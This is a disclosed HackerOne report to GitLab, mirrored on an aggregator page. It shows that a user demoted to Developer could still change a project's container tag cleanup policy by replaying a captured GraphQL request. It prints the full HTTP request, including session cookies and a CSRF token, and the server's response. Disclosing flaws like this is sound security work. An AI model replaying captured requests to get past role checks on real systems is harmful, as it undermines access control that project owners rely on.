A user with Developer role is able to disable/enable project settings for cleanup image tags and also modify the cleanup image tags schedule.
GitLab
Originally disclosed on GitLab
- Fixed in 7 months
- Disclosed after 7 months
HackerOne report #1265690 by sp4rrow on 2021-07-16, assigned to @dcouture:
Report | Attachments | How To Reproduce
Report
Summary
A user with Developer role is able to disable/enable project settings for cleanup image tags and also modify the cleanup image tags schedule.
Steps to reproduce
Create two test accounts:
1: test Victim
2: test Attacker
Steps to replicate:
-
Test victim adds test attacker as a maintainer on project https://gitlab.com/testVictim/test-labsagain
-
Test attacker enables the project settings for clean up image tags by visiting https://gitlab.com/testVictim/test-labsagain/-/settings/packages_and_registries and saves the request in burp.
-
Test attacker is now demoted to developer role in the project.
-
Test Attacker visits https://gitlab.com/testVictim/test-labsagain/-/settings/packages_and_registries and gets a 404 error
-
Test Attacker revisits the captured request on step 2 and can disable the policy for clean up tags and also change the schedule for the whole project.
Code Snipet:
Request
POST /api/graphql HTTP/2
Host: gitlab.com
Cookie: experimentation_subject_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqRmlNbU00TWprM0xXVXlNVFl0TkRBME5TMWhNbU5tTFRneU5tUTFOalEzTVdRNE5DST0iLCJleHAiOm51bGwsInB1ciI6ImNvb2tpZS5leHBlcmltZW50YXRpb25fc3ViamVjdF9pZCJ9fQ%3D%3D--fb5c1749a12a6792be06680d68e1fc2c3f867768; cf_clearance=95f4b98c313da8f4473659a8ac8bb2e15b496d87-1626364181-0-150; sidebar_collapsed=false; visitor_id=db3bd2be-5c6e-4f1c-a3b3-74e4c65c35d7; _biz_uid=eaaf3ea688f540b2ccc3d8ebd4c04ad3; _biz_nA=19; _biz_pendingA=%5B%5D; _biz_flagsA=%7B%22Version%22%3A1%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%2C%22Mkto%22%3A%221%22%7D; _ga=GA1.2.1602416607.1616533058; _mkto_trk=id:194-VVC-221&token:_mch-gitlab.com-1616533059318-17228; _fbp=fb.1.1616533059439.1908691292; _hjid=8d2c3491-49e5-4c33-8c6e-aef2be692fab; _sp_id.6b85=990c921c-5c8a-441b-b4ca-1ecda18452ad.1616538216.13.1626443711.1626436537.a75b819d-0b48-4e62-bf8f-40562d9887cf; promote_epics_sidebar_dismissed=true; _gcl_au=1.1.2109590614.1624031703; _gid=GA1.2.884221885.1626364149; _hjTLDTest=1; _uetsid=31782580e58411eba2035df66494f363; _uetvid=cac37200e23711eb94887dfc8c6e2aa3; _gitlab_session=ac6a27e7458ff8ed395db3defa4b7f24; known_sign_in=TlBmK2F3dXlLdVZNUVhLeVJlMGJHWDB5UEwvVGN2bWZ5N0pMeGNSWTZPYVRNMkxEKzZqUU1lVkJmQjBFeWFDeHNnQWR0L2F4bTY2ZXhxNFhYL3hOV1dMYnhoSjFsQ3VTaFFmeTI3SjdWMldQTjJhMUczOTI4YVUvVUI0ajJ4K0RidmdvVFRDU2p0dVNya0JQS3hNVW9BPT0tLWFrTkR6NU1ZWlVwcGtQWXVtbmhMdmc9PQ%3D%3D--9fe4352896a6b0b1a5e3744eac8bc7036ff29c9a; event_filter=team; _sp_ses.6b85=*; _biz_sid=5164c8; _hjAbsoluteSessionInProgress=1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://gitlab.com/testVictim/test-labsagain/-/settings/packages_and_registries
Content-Type: application/json
X-Csrf-Token: 4SSCIg5CcShNw8lduwfYhaRm0poaeJUPOucfGKzC9OXTmTf5jOXLZQk1B1mSZPPLnW/6IfIroJ5EasiK/tPUMA==
Origin: https://gitlab.com
Content-Length: 710
Te: trailers
Connection: close
[{"operationName":"updateContainerExpirationPolicy","variables":{"input":{"projectPath":"testVictim/test-labsagain","enabled":true,"cadence":"EVERY_MONTH","olderThan":"NINETY_DAYS","keepN":"TEN_TAGS","nameRegex":".*","nameRegexKeep":null}},"query":"mutation updateContainerExpirationPolicy($input: UpdateContainerExpirationPolicyInput!) {\n updateContainerExpirationPolicy(input: $input) {\n containerExpirationPolicy {\n ...ContainerExpirationPolicyFields\n __typename\n }\n errors\n __typename\n }\n}\n\nfragment ContainerExpirationPolicyFields on ContainerExpirationPolicy {\n cadence\n enabled\n keepN\n nameRegex\n nameRegexKeep\n olderThan\n nextRunAt\n __typename\n}\n"}]
Response
HTTP/2 200 OK
Date: Fri, 16 Jul 2021 13:57:26 GMT
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, HEAD, POST, PUT, PATCH, DELETE, OPTIONS
Access-Control-Allow-Origin: https://gitlab.com
Access-Control-Expose-Headers: Link, X-Total, X-Total-Pages, X-Per-Page, X-Page, X-Next-Page, X-Prev-Page, X-Gitlab-Blob-Id, X-Gitlab-Commit-Id, X-Gitlab-Content-Sha256, X-Gitlab-Encoding, X-Gitlab-File-Name, X-Gitlab-File-Path, X-Gitlab-Last-Commit-Id, X-Gitlab-Ref, X-Gitlab-Size
Access-Control-Max-Age: 7200
Cache-Control: no-store
Etag: W/"b0c87c2b504ebfcbc51255a76b24da22"
Permissions-Policy: interest-cohort=()
Pragma: no-cache
Referrer-Policy: strict-origin-when-cross-origin
Vary: Accept, Origin
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Permitted-Cross-Domain-Policies: none
X-Request-Id: 01FAQSQ4QVVF25STWFTJY14T1M
X-Runtime: 0.058912
X-Ua-Compatible: IE=edge
X-Xss-Protection: 1; mode=block
Ratelimit-Observed: 2
Ratelimit-Remaining: 1998
Ratelimit-Reset: 1626443906
Ratelimit-Resettime: Fri, 16 Jul 2021 13:58:26 GMT
Ratelimit-Limit: 2000
Gitlab-Lb: fe-02-lb-gprd
Gitlab-Sv: localhost
Cf-Cache-Status: DYNAMIC
Expect-Ct: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Strict-Transport-Security: max-age=31536000
Server: cloudflare
Cf-Ray: 66fbbd5609aa2b12-FRA
[{"data":{"updateContainerExpirationPolicy":{"containerExpirationPolicy":{"__typename":"ContainerExpirationPolicy","cadence":"EVERY_MONTH","enabled":true,"keepN":"TEN_TAGS","nameRegex":".*","nameRegexKeep":null,"olderThan":"NINETY_DAYS","nextRunAt":"2021-08-15T13:57:26Z"},"errors":[],"__typename":"UpdateContainerExpirationPolicyPayload"}}}]
Impact
A developer role does not have access to modify project settings. on visiting the same via Web As https://gitlab.com/testVictim/test-labsagain/-/settings/ gives he gets 404, however with the graphql request he can still modify the content.
Impact
A developer role does not have access to modify project settings. on visiting the same via Web As https://gitlab.com/testVictim/test-labsagain/-/settings/ gives he gets 404, however with the graphql request he can still modify the content.
also attached is the POC video for clear steps.
Thanks,
sparrow!
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section:
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A medium-severity access control bug in gitlab.com. GitLab made it public on 22 February 2022. Fixed in version 14.10.
About Access control
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.